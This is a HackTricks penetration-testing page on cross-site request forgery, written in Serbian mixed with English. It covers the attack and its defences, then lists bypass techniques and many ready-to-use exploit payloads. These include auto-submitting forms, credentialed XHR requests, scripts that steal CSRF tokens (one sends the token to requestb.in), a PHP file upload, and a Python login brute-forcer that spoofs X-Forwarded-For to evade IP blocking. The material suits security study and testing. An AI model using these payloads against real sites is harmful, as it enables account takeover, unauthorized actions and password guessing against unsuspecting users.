CSRF (Cross Site Request Forgery)
Reading time: 18 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Cross-Site Request Forgery (CSRF) Objašnjeno
Cross-Site Request Forgery (CSRF) je vrsta sigurnosne ranjivosti u web aplikacijama. Omogućava napadačima da izvode radnje u ime ničega sumnjajućih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik koji je prijavljen na žrtvinu platformu poseti zlonamerni sajt. Taj sajt potom pokreće zahteve prema nalogu žrtve kroz metode kao što su izvršavanje JavaScript-a, slanje formi ili učitavanje slika.
Preduslovi za CSRF napad
Da bi se iskoristila CSRF ranjivost, mora biti ispunjeno nekoliko uslova:
- Identifikovati vrednu radnju: Napadač treba da pronađe radnju vrednu iskorišćavanja, kao što su promena korisnikove lozinke, email-a ili podizanje privilegija.
- Upravljanje sesijom: Sesija korisnika treba da se upravlja isključivo putem kolačića ili HTTP Basic Authentication header-a, jer druge header-e nije moguće manipulirati za ovu svrhu.
- Odsustvo nepredvidivih parametara: Zahtev ne bi trebalo da sadrži nepredvidive parametre, jer oni mogu sprečiti napad.
Brza provera
Možete uhvatiti zahtev u Burp-u i proveriti CSRF zaštite, a da biste testirali iz pregledača možete kliknuti na Copy as fetch i proveriti zahtev:
 (1) (1).png)
Odbrana protiv CSRF
Nekoliko protmera može biti implementirano da bi se zaštitilo od CSRF napada:
- SameSite cookies: Ovaj atribut sprečava browser da šalje kolačiće zajedno sa cross-site zahtevima. More about SameSite cookies.
- Cross-origin resource sharing: CORS politika žrtvinog sajta može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa žrtvinog sajta. Learn about CORS bypass.
- Verifikacija korisnika: Traženje korisničke lozinke ili rešavanje captcha-e može potvrditi nameru korisnika.
- Provera Referrer ili Origin header-a: Validacija ovih header-a može pomoći da se osigura da zahtevi dolaze iz poverljivih izvora. Međutim, pažljivo skrojeni URL-ovi mogu zaobići loše implementirane provere, kao što su:
- Korišćenje
http://mal.net?orig=http://example.com
(URL se završava sa poverljivim URL-om) - Korišćenje
http://example.com.mal.net
(URL počinje sa poverljivim URL-om)
- Korišćenje
- Izmena imena parametara: Promena imena parametara u POST ili GET zahtevima može pomoći u prevenciji automatizovanih napada.
- CSRF Tokens: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtevanje tog tokena u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena se može poboljšati primenom CORS-a.
Razumevanje i primena ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija.
Defences Bypass
From POST to GET (method-conditioned CSRF validation bypass)
Neke aplikacije primenjuju CSRF validaciju samo na POST dok je preskaču za druge HTTP metode. Uobičajen anti-pattern u PHP-u izgleda ovako:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
Ako ranjiv endpoint takođe prihvata parametre iz $_REQUEST, možete ponovo poslati istu akciju kao GET zahtev i potpuno izostaviti CSRF token. Ovo pretvara POST-only akciju u GET akciju koja uspeva bez tokena.
Primer:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- Ovaj obrazac se često pojavljuje zajedno sa reflected XSS kada se odgovori pogrešno šalju kao text/html umesto application/json.
- Povezivanje ovoga sa XSS značajno snižava prepreke za iskorišćavanje jer možete isporučiti jedan GET link koji i pokreće ranjivi kod i potpuno zaobilazi CSRF provere.
Lack of token
Aplikacije mogu implementirati mehanizam za validate tokens kada su oni prisutni. Međutim, postoji ranjivost ako se validacija potpuno preskoči kada token nedostaje. Napadači mogu iskoristiti ovo uklanjanjem parametra koji nosi token, ne samo njegove vrednosti. To im omogućava da izbegnu proces validacije i efikasno sprovedu Cross-Site Request Forgery (CSRF) napad.
CSRF token is not tied to the user session
Aplikacije koje not tying CSRF tokens to user sessions predstavljaju značajan security risk. Ti sistemi verifikuju tokene prema global pool umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
Evo kako napadači to iskorišćavaju:
- Authenticate koristeći svoj nalog.
- Obtain a valid CSRF token iz global pool-a.
- Use this token u CSRF napadu protiv žrtve.
Ova ranjivost omogućava napadačima da izvrše neautorizovane zahteve u ime žrtve, iskorišćavajući inadequate token validation mechanism aplikacije.
Method bypass
Ako zahtev koristi "weird" method, proverite da li method override functionality radi. Na primer, ako koristi using a PUT method možete pokušati da use a POST method i send: https://example.com/my/dear/api/val/num?_method=PUT
Ovo takođe može raditi slanjem _method parameter inside the a POST request ili korišćenjem headers:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Custom header token bypass
Ako zahtev dodaje custom header sa token-om u zahtev kao CSRF protection method, onda:
- Testirajte zahtev bez Customized Token and also header.
- Testirajte zahtev sa tačno istom same length but different token.
CSRF token is verified by a cookie
Aplikacije mogu implementirati CSRF zaštitu dupliranjem tokena i u cookie i u parametru zahteva ili postavljanjem CSRF cookie-a i proverom da li token poslat u backend-u odgovara cookie-u. Aplikacija validira zahteve proverom da li token u parametru zahteva usklađuje sa vrednošću u cookie-u.
Međutim, ova metoda je ranjiva na CSRF napade ako sajt ima mane koje napadaču omogućavaju da postavi CSRF cookie u browser žrtve, kao što je CRLF ranjivost. Napadač može to iskoristiti tako što učita obmanjujuću sliku koja postavlja cookie, a zatim pokrene CSRF napad.
Ispod je primer kako bi napad mogao biti strukturiran:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
Imajte na umu da ako je csrf token povezan sa session cookie-jem ovaj napad neće raditi jer ćete morati postaviti žrtvin session na svoj, i samim tim ćete napadati sami sebe.
Promena Content-Type
Prema this, da biste izbegli preflight zahteve koristeći POST metod, dozvoljene vrednosti Content-Type su:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Međutim, imajte na umu da logika servera može varirati u zavisnosti od korišćenog Content-Type, pa treba da probate pomenute vrednosti i druge poput application/json
,text/xml
, application/xml
.
Primer (iz here) slanja JSON podataka kao text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Zaobilaženje preflight zahteva za JSON podatke
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje Content-Type: application/json
u HTML formi nije direktno moguće. Slično tome, korišćenje XMLHttpRequest
za slanje ovog Content-Type pokreće preflight request. Ipak, postoje strategije kojima se može pokušati zaobići ovo ograničenje i proveriti da li server obrađuje JSON podatke bez obzira na Content-Type:
- Koristite alternativne Content Types: Employ
Content-Type: text/plain
orContent-Type: application/x-www-form-urlencoded
by settingenctype="text/plain"
in the form. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type. - Izmenite Content-Type: Da biste izbegli preflight request a pritom osigurali da server prepozna sadržaj kao JSON, možete poslati podatke sa
Content-Type: text/plain; application/json
. Ovo neće pokrenuti preflight request, ali server može ispravno obraditi podatke ako je konfigurisан da prihvataapplication/json
. - Korišćenje SWF Flash fajla: A manje uobičajena ali izvodljiva metoda uključuje korišćenje SWF flash fajla za zaobilaženje takvih ograničenja. Za detaljnije razumevanje ove tehnike, referišite se na this post.
Zaobilaženje provere Referrer / Origin
Izbegnite Referrer header
Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
<meta name="referrer" content="never">
Ovo osigurava da se 'Referer' zaglavlje izostavi, potencijalno zaobilazeći validacione provere u nekim aplikacijama.
Regexp bypasses
Da biste postavili ime domena servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD method bypass
U prvom delu this CTF writeup objašnjeno je da je u Oak's source code router podešen da handle HEAD requests as GET requests with no response body — česta zaobilaznica koja nije jedinstvena za Oak. Umesto posebnog handler-a koji obrađuje HEAD zahteve, oni su jednostavno given to the GET handler but the app just removes the response body.
Dakle, ako je GET zahtev ograničen, možete jednostavno send a HEAD request that will be processed as a GET request.
Exploit Examples
Exfiltrating CSRF Token
Ako se CSRF token koristi kao odbrana, možete pokušati da ga exfiltrate it zloupotrebom XSS ranjivosti ili Dangling Markup ranjivosti.
GET korišćenjem HTML tagova
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Drugi HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Forma GET zahteva
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Form POST zahtev
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
POST zahtev forme kroz iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST request
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST zahtev
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST zahtev v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
POST zahtev iz forme unutar iframe-a
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Ukradi CSRF Token i pošalji POST request
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Ukradi CSRF Token i pošalji Post zahtev koristeći iframe, form i Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Ukradi CSRF Token i pošalji POST request koristeći iframe i form
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Ukradi token i pošalji ga koristeći 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POST — Ukradi CSRF token koristeći Ajax i pošalji POST pomoću forme
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF sa Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
Ovaj kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For kako bi pokušao da zaobiđe mogući IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Alati
Reference
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.